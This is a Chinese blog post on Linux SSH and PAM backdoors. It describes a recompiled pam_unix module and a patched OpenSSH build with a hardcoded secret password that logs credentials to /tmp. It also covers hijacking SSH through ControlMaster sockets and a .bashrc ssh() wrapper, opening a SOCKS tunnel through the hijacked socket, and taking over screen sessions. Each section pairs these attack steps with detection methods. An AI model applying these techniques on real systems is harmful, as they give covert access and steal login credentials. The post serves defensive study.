当前位置: 首页 > 编程日记 > 正文

Linux UserSpace Back-Door、Rootkit SSH/PAM Backdoor Attack And Defensive Tchnology

catalog

0. 引言
1. Pam后门
2. SSH后门
3. Hijacking SSH
4. Hijacking SSH By Setup A Tunnel Which Allows Multiple Sessions Over The Same SSH Connection Without Re-Authentication
5. Hijacking Active SSH Screen Sessions

0. 引言

0x1: 安全攻防观点

1. Know Your Enemy : Know Your System
//客户端攻防的战场主要在操作系统层面,同时也包括了和系统衔接的WEB、远程LOGIN等模块,了解它们的特性(尤其是高性能、边缘特性)才能更好地作出针对性的防御
2. Effectivness != Complexity
//攻防是一个整体性的工程化项目,任何一个维度的漏洞都能够导致被黑客入侵,因此并一定说内核攻防就比应用层攻防重要,它们是同等重要的。攻防手段的有效性并不一定需要通过复杂性来保证
3. Everything Is A Weapon
//内力所到之处,皆为兵刃,对于操作系统的任何一个特性,只要找到正确的使用方法和组合模式,都极有可能形成一条入侵向量

0x2: Attacker vs Defender

1. For the Attacker:
Use System Builtin's to Simulate Rootkit Functionality. 尽量做到润物细无声,即把rootkit伪装成系统正常的工具、行为
Stop relying on tools: "Master the environment."2. For the Defender:
Know Your System, Before I Use it Against You.
Thinking like an attacker: "Flip the evil bit."

Relevant Link:

https://www.blacklodgeresearch.org/files/7613/6963/4840/Poor_Mans_Root_Kit_BLR_talk_PUBLIC_2013.pdf

1. Pam后门

PAM(插入式验证模块(Pluggable Authentication Module,PAM))简单来说,就是提供了一组身份验证、密码验证的统一抽象接口,应用程序员可以使用这些API接口来实现与安全性相关的功能,PAM可以作为Linux登录验证(包括SSH)的统一验证入口点,也同样出于一点,黑客可以利用PAM部署SSH代码级的逻辑后门

0x1: 查询本机的PAM版本

0x2: 下载对应的源代码文件

http://pkgs.fedoraproject.org/repo/pkgs/pam/Linux-PAM-0.99.6.2.tar.bz2/52844c64efa6f8b6a9ed702eec341a4c/
http://www.linux-pam.org/pre/history/
http://www.linux-pam.org/pre/library/

0x3: 对原始的PAM so文件进行备份

cd /lib64/security
ll pam_unix.so
mv pam_unix.so pam_unix.so.bak

0x4: 修改源文件,添加逻辑后门

cd /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/modules/pam_unix
vim pam_unix_auth.c

0x5: 重新编译pam模块

cd /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/
./configure
make

0x6: 使用包含逻辑后门的pam模块替换系统默认的pam模块

cp /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/modules/pam_unix/.libs/pam_unix.so /lib64/security/pam_unix.so

0x7: 测试后门

1. 使用正常root帐号、密码登录
2. 使用root帐号,后门密码(pam)进行隐藏登录

0x8: 对抗检测方法

pam_unix是系统原生的模块,可以使用RPM的校验机制进行篡改检测

1. centos rpm校验已安装包是否被修改
rpm -qV pam
....L....  c /etc/pam.d/fingerprint-auth
....L....  c /etc/pam.d/password-auth
....L....  c /etc/pam.d/smartcard-auth
....L....  c /etc/pam.d/system-auth
S.?......    /lib64/libpam.so.0.82.2
S.?......    /lib64/libpam_misc.so.0.82.0
S.5....T.    /lib64/security/pam_unix.so结果含义
/*
如果一切均校验正常将不会产生任何输出。如果有不一致的地方,就会显示出来。输出格式
1. 8位长字符串: 8位字符的每一个 用以表示文件与RPM数据库中一种属性的比较结果("."表示检测通过)1) S: 文件大小 2) M: 模式e (包括权限和文件类型)3) 5: 校验和(md5)、?: 文件不可读4) D: 设备5) L: 符号链接6) U: 用户7) G: 组8) T: 文件修改时间
2. c: 用以指配置文件
3. 文件名
*/2. ubuntu 
dpkg -V libpam-modules
??5?????? c /etc/security/limits.conf
??5??????   /lib/x86_64-linux-gnu/security/pam_unix.so

从二进制的角度来看,被植入了代码级逻辑后门的so文件可以被当成病毒处理,通过提取逻辑后门附近的二进制特征码,加入杀毒特征库,可以实现对此类后门的查杀,并禁止其被ssh加载

1. 提取包含逻辑后门的pam_unix.so的特征码
2. 加入杀毒特征库
3. 禁止逻辑后门pam_unix.so模块被ssh进程加载

Relevant Link:

http://w ww.csdn123.com/html/itweb/20130911/112822_112821_112829.htm
http://www.cnblogs.com/LittleHann/p/3662161.html
http://bobao.360.cn/learning/detail/454.html
http://www.awaysoft.com/taor/rpm%E6%A0%A1%E9%AA%8C%E5%B7%B2%E5%AE%89%E8%A3%85%E5%8C%85%E6%98%AF%E5%90%A6%E8%A2%AB%E4%BF%AE%E6%94%B9.html

2. SSH后门

vi includes.h                   //修改后门密码,记录文件位置,/*
+#define ILOG "/tmp/ilog"                      //记录登录到本机的用户名和密码
+#define OLOG "/tmp/olog"                   //记录本机登录到远程的用户名和密码
+#define SECRETPW "123456654321"    //后门的密码
*/

0x1: 后门行为

1. 黑客使用设置的后门密码可以直接跨越验证逻辑登录
2. 管理员用root、其他帐号的登录全部会被秘密记录下来,相当于key logger

0x2: 对抗检测方法

1. 二进制特征检测1) 通过ELF格式动态定位到目标函数的位置2) 在目标函数内部采用clamav的特征库定位方式:【特征:offset:length】
2. 使用系统rpm检测ssh的完整性
3. 检测程序中的string特征字符串,黑客部署的逻辑后门代码一般都有一段字符串特征码
4. 尝试任意密码登录ssh,检查是否被黑客部署了"无密码逻辑后门",即黑客在判断逻辑中直接加入了return语句,跳过任何密码检查逻辑

Relevant Link:

http://www.freebuf.com/tools/10474.html

3. Hijacking SSH

SSH can also be used to gather inteligence about other potential targets on the network,every time a user connects to a system using SSH a file is created in $HOME/.ssh/ called known_hosts,by examining this file an attacker can see other hosts that trusts the user

在黑客控制了一台用户机器之后,通过查看known_hosts收集信息,将有可能获取到当前主机连接的下一台跳板机、内网、DMZ机器,以此扩大攻击面

Relevant Link:

https://www.defcon.org/images/defcon-15/dc15-presentations/Moore_and_Valsmith/Whitepaper/dc-15-moore_and_valsmith-WP.pdf

4. Hijacking SSH By Setup A Tunnel Which Allows Multiple Sessions Over The Same SSH Connection Without Re-Authentication

0x1: SSH multiplexing

Multiplexing is the ability to send more than one signal over a single line or connection. With multiplexing, OpenSSH can re-use an existing TCP connection for multiple concurrent SSH sessions rather than creating a new one each time.

1. the overhead of creating new TCP connections is eliminated. The overall number of connections that a machine may accept is a finite resource and the limit is more noticeable on some machines than on others, and varies greatly depending on both load and usage. 
2. with multiplexing only a single TCP connection is set up and used regardless of whether or not there are multiple SSH sessions carried over it.
3. multiplexed connection技术可以显著减少ssh连接时间

0x2: Setting Up Multiplexing

需要明白的是,SSH劫持是发生在被黑客控制的机器上,黑客通过SSH劫持,希望能够无密码获得当前用户连接的下一台机器。因此,黑客需要修改的配置文件是受控制的用户机器上的配置文件

1. ControlMaster: determines whether ssh will listen for control connections and what to do about them. 
2. ControlPath: is the location for the control socket used by the multiplexed sessionsv
3. ControlPersist: can be used in conjunction with ControlMaster. 1) If set to 'yes', it will leave the master connection open in the background indefinitely to accept new connections until either killed explicitly or closed with -O.
//Control sockets are removed automatically when the master connection is ended. 

1. 攻击者有root权限

vim /etc/ssh/ssh_config
/*
..
ControlPath /tmp/%r@%h:%p
ControlMaster auto
ControlPersist yes
..
*/

开启了ControlMaster模式之后,如果当前用户已经成功登录过一次目标机器(例如远程跳板机、DMZ机器),则黑客可以利用Multiplexing技术直接"无密码"登录同样的那台服务器,简单来说,SSH的密码验证是基于TCP Connection级别的,而不是会话Session界别的,当发生Multiplexing的时候,黑客的Session可以直接绕过任何的登录验证

2. 攻击者没有root权限

vim $HOME/.ssh/config
/*
..
ControlPath /tmp/%r@%h:%p
ControlMaster auto
ControlPersist yes
..
*/

3. 在.bashrc里封装ssh命令

vim $HOMW/.bashrc
/*
..
ssh () 
{ /usr/bin/ssh -o "ControlMaster=auto" -o "ControlPath=/tmp/%r@%h:%p" -o "ControlPersist=yes" "$@";
}
..
*/

利用了Linux Bash的自定义函数的方式、SSH动态配置参数的特性实现了开启ControlMaster模式

0x3: 攻击者复用Multiplexing模式下的Socket会话进行SSH连接

These settings will cause all new SSH sessions to create a persistent brokering master socket.
I've used %h in control socket commands to represent the target host, %h can be any char(s).

This socket can be used to create further sessions, without credentials, even after the original user exits their session.

0x4: Adding a dynamic tunnel

we can create a dynamic tunnel inside an existing master socket

lsof -i TCP:9090
ssh -O forward -D 9090 -S /tmp/root@112.124.20.20\:22 %h
lsof -i TCP:9090

通过注入命令实现端口转发,执行完这条命令后,我们就可以使用这台机器的9090端口做SOCKS5代理,访问下一跳的网段

0x5: 前面说过,如果ControlPersist为yes,则不会自动删除sockets文件,我们可以手工rm删除/tmp/root@112.124.20.20\:22,也可以优雅的使用

ssh -O exit -S /tmp/root@112.124.20.20\:22 %h

0x6: 对抗检测方法

1. 检查ssh的配置文件中,是否开启了ControlMaster模式1) /etc/ssh/ssh_config2) $HOME/.ssh/config
2. 检查bash自定义函数中是否有ssh()劫持
set | grep "ssh()"

Relevant Link:

https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Multiplexing
http://unix.stackexchange.com/questions/22965/limits-of-ssh-multiplexing
http://www.anchor.com.au/blog/2010/02/ssh-controlmaster-the-good-the-bad-the-ugly/ 
http://www.revsys.com/writings/quicktips/ssh-faster-connections.html

5. Hijacking Active SSH Screen Sessions

ssh_user用户使用screen管理ssh会话时的情景

1. 当ssh_user使用
screen ssh root@112.124.20.20
连接远程的"112.124.20.20"时,会在/var/run/screen有显示相应的文件2. ls -la /var/run/screen/
可以用screen -r root/来接管会话 

注入screen的ssh会话,会有一个不好的地方,就是你敲的命令,会在当前正在连接的用户那里同时显示,容易被发现

0x1: 对抗检测方法

1. 检测/var/run/screen/是否包含screen会话,这从某种程度上算是一种可疑事件

Relevant Link:

http://0xthem.blogspot.com/2015/03/hijacking-ssh-to-inject-port-forwards.html
http://drops.wooyun.org/tips/5253

Copyright (c) 2015 Little5ann All rights reserved

转载于:https://www.cnblogs.com/LittleHann/p/4596223.html

相关文章:

澳大利亚多地热浪来袭 最高温度超40摄氏度

中新网1月24日电 据澳洲网报道,近日,澳大利亚多地热浪来袭,其中,南澳和维州的部分地区气温将飙升至40摄氏度以上。维州政府发布声明,提醒民众做好应对高温天气的准备。资料图:当地时间1月21日,澳…

Multithread 之 introduction

Why multithreading?(摘自《win32 多线程程序设计》)单线程程序就像超级市场中唯一的一位出纳,这个出纳对于小量采购可以快速结账。但如果有人采购了一大车货品,结账就需要点时间了,其他每个人都必须等待。多线程程序…

逻辑覆盖测试(四)判定/条件覆盖

判定/条件覆盖:测试用例的设计应满足判定节点的取真和取假分支至少执行一次,且每个简单判定条件的取真和取假情况也至少执行一次。 简单来说,就是判定覆盖和条件覆盖取交集。 例子: 流程图: 当判定覆盖和条件覆盖…

jQuery选择器的工作原理和优化

至于有那些选择器,在帮助手册中都有,自己去看,这篇主要是分析他的工作原理,而优化我们写 的选择器,尤其在页面内容很多的情况下,更应该需要优化。下边就言归正传。 每次申明一个jQuery对象的时候&#xff0…

webservice发送字符串

假设只是发送一个字符串client,这是很easy,只需要输入xfire包,编写接口,编写的实现方法。变化。 假设你要传输的数组或自定义类。到用于接口准备的需要agexis文件。更复杂。 尝试传输这些假设没有成功。在发送成功的字符串&#x…

600余名外出务工者免费乘高铁“返乡专列”回云南过春节

中新网昆明1月25日电(缪超)记者25日从中国铁路昆明局集团获悉,云南与广东两省人社部门近日组织开行高铁“返乡专列”,免费安排600多名云南籍外出务工人员乘坐高铁动车返乡过春节。图为志愿者与乘务员为外出务工人员精心准备的歌舞节目。中国铁路昆明局集…

逻辑覆盖测试(六)--路径测试

路径覆盖:设计足够多的测试用例,使得程序中所有可能的路径都被至少被执行一次。 例子: 测试用例: 思路: 先是都经过a,到一个if分支,可以有a 、b和 a、c,然后到第二个if分支&#…

浅谈MVP设计模式

最近公司在做一个医疗项目,使用WinForm界面作为客户端交互界面。在整个客户端解决方案中。使用了MVP模式实现。由于之前没有接触过该设计模式,所以在项目完成到某个阶段时,将使用MVP的体会写在博客里面。 所谓的MVP指的是Model,Vi…

C#委托与事件

之前写过一篇关于C#委托与事件的文章(见《C#委托和事件例析》),不过还是收到一些网友的提问。所以,今天再换另一个角度来详解一下这个问题。 一、在控制台下使用委托和事件 我们都知道,C#中有“接口”这个概念&#xf…

Docker for mac安装

Mac安装Docker docker下载地址: https://hub.docker.com/editions/community/docker-ce-desktop-mac docker for mac document: https://docs.docker.com/docker-for-mac/ 系统要求 Docker Desktop - Mac适用于OS X Sierra 10.12和更新的macOS版本。 获得Docker 稳定边缘Stable…

白盒测试--基本路径测试法

1.为什么要有基本路径测试法? 对于路径测试,最理想的情况是路径全部覆盖,单对于复杂的大程序要做到路径覆盖是不可能的,因此可以采用基本路径测试。 2.基本路径测试法的步骤? (1)画出程序的控制…

Postmortem报告

1. 每个成员在beta 阶段的实践和alpha 阶段有何改进? 2. 团队在beta 阶段吸取了那些alpha 阶段的经验教训? 在alpha阶段中,虽然我们团队已经对软件主要功能核心代码完成了,但是由于我们团队现有掌握有关于安卓开发的技术并不成熟,无法对软件…

是否可以人为修改发表时间

是否可以人为修改发表时间转载于:https://blog.51cto.com/14188306/2346747

关于win7_iis报500.19和500.21错误的解决方法

关于win7_iis报500.19和500.21错误的解决方法HTTP 错误 500.19 Internal Server Error的解决方法WIN7下.Net开发遇到的又一问题:HTTP 错误 500.19 - Internal Server Error,无法访问请求的页面,因为该页的相关配置数据无效。详细错误信息模块…

黑盒测试--因果图法

例子: (1)根据题目可以得到原因和结果分别是: (2)画出因果图 根据题意来画因果图,输入第一个字符是A或B要写成一个状态,且第二个字符为数字。 画因果图主要就是理清不同状态之间的关系,还有有…

php 学习笔记 数组1

1、一般情况下$name[tom]和$name[tom]是相同的;但没有引号的键不能和常量区别开,如:define(index, 5)时;$name[tom]和$name[tom]不同 2、双引号里的变量一般要用{}括起来是好习惯,如: echo "{$name}&q…

Linux的文件系统

一、文件的属性 linux文件属性的格式为- --- --- ---。第一位为文件的类型,剩下的9位,每三位为一组,分别对应文件所有者,文件所以者所属的用户组,其他人的关系。 r为可读,w为可写,x为可执行。如…

Python-100 练习题 01 列表推导式

最近打算好好练习下 python,因此找到一个练习题网站,打算每周练习 3-5 题吧。 www.runoob.com/python/pyth… 另外,这个网站其实也还有 Python 的教程,从基础到高级的知识都有。 Example-1 三位数组合 题目:有四个数字…

在思科模拟器下搭建WWW、DNS、FTP、Email服务

目录一、搭建基本的拓扑结构二、配置基本IP三、配置静态路由Router0:Router1:四、搭建WWW服务0号服务器:1号服务器:五、在pc0上测试www服务六、搭建FTP服务对于3号服务器:七、在pc0上测试搭建的FTP服务八、搭建E-mail服务对于2号服…

Android SQLite数据库之事务的学习

SQLite是Android系统内置的一款轻量级的关系型数据库,它的运算速度非常快,占用资源很少,通常只需要几百K的内存就足够了。SQLite不仅支持标准的SQL语法,还遵循了数据库的ACID事务。 模拟一个应用场景:进行一次转账操作…

1组合逻辑电路--多路选择器与多路分解器

1.2多路选择器 1.2.1不带优先级的多路选择器 四路选择器如下 代码如下 View Code 1 module multiplexer 2 ( 3 input iA, 4 input iB, 5 input iC, 6 input iD, 7 input [1:0] iSel, 8 output reg oQ 9 );10 11 always (*)12 begin13 case(iSel)1…

java——慎用可变参数列表

说起可变参数,我们先看下面代码段,对它有个直观的认识,下方的红字明确地解释了可变参数的意思: 1 public class VarargsDemo{2 3 static int sum(int... args) {4 int sum 0;5 for(int arg:args)6 …

一位老码农的分享:一线程序员该如何面对「中年危机」?

如果这是第二次看到我的文章,欢迎文末扫码订阅我个人的公众号(跨界架构师)哟~ 本文长度为2728字,建议阅读8分钟。坚持原创,每一篇都是用心之作~先来聊一下这个问题的背景吧。前两天有小伙伴问到Z哥这个问题…

白话spring依赖注入

Spring能有效地组织J2EE应用各层的对象。Action?Service?DAO?,都可在Spring的管理下有机地协调、运行。Spring将各层的对象以松耦合的方式组织在一起,对象与对象之间没有直接的联系,各层对象的调用完全面向…

2软件测试初相识

软件测试初相识 软件测试初识为什么要做软件测试,做软件测试的必要性是什么?关于软件测试的定义有很多种软件测试的两面性软件测试的价值总结软件测试初相识 文章目录 软件测试初识为什么要做软件测试,做软件测试的必要性是什么?关于软件测试的定义有很多种软件测试的两面性…

【go】sdk + idea-plugin 开发工具安装

http://golang.org/doc/install/source第一步:windows 安装 git第二步$ git clone https://go.googlesource.com/go $ cd go $ git checkout go1.4.1保持翻墙姿势 D:\Program Files (x86)\Git\bin>git clone https://go.googlesource.com/go Cloning into go... …

无限极:对虚假宣传行为查处不力 推十条整改措施

中新网1月28日电 无限极今日发表声明称,将进一步响应整治“保健”市场乱象百日行动,承担主体责任,落实专项整改。 声明全文如下: 1月8日,国家市场监督管理总局等13部委联合发出《关于开展联合整治“保健”市场乱象百日…

基于WTL自绘 - 表情选择界面

1.无窗口绘制(网格, 背景,图片,预览)。2.采用Cximage处理图像。3.关于源码 请发邮件 satngqq.com4.已经增加到wtl_duilib 0.5版Demo中转载于:https://www.cnblogs.com/satng/archive/2011/08/13/2138780.html

3软件测试原理与软件缺陷

软件测试原理与软件缺陷 文章目录 前言软件测试原理软件缺陷总结前言 知其然,更要知其所以然。 软件测试原理 下图中很直观的展示出了软件测试原理。根据测试目标设计测试输出,依据测试依据(包括软件需求、设计等)给出预期结果,在被测对象上运行得到运行结果,将运行结果…

Oracle wrap 和 unwrap( 加密与解密) 说明

一. Wrap 说明官网的说明如下:A PL/SQL Source Text Wrappinghttp://download.oracle.com/docs/cd/E11882_01/appdev.112/e17126/wrap.htm#LNPLS1744You can wrap the PL/SQL source text for any of these stored PL/SQL units, thereby preventing anyone from di…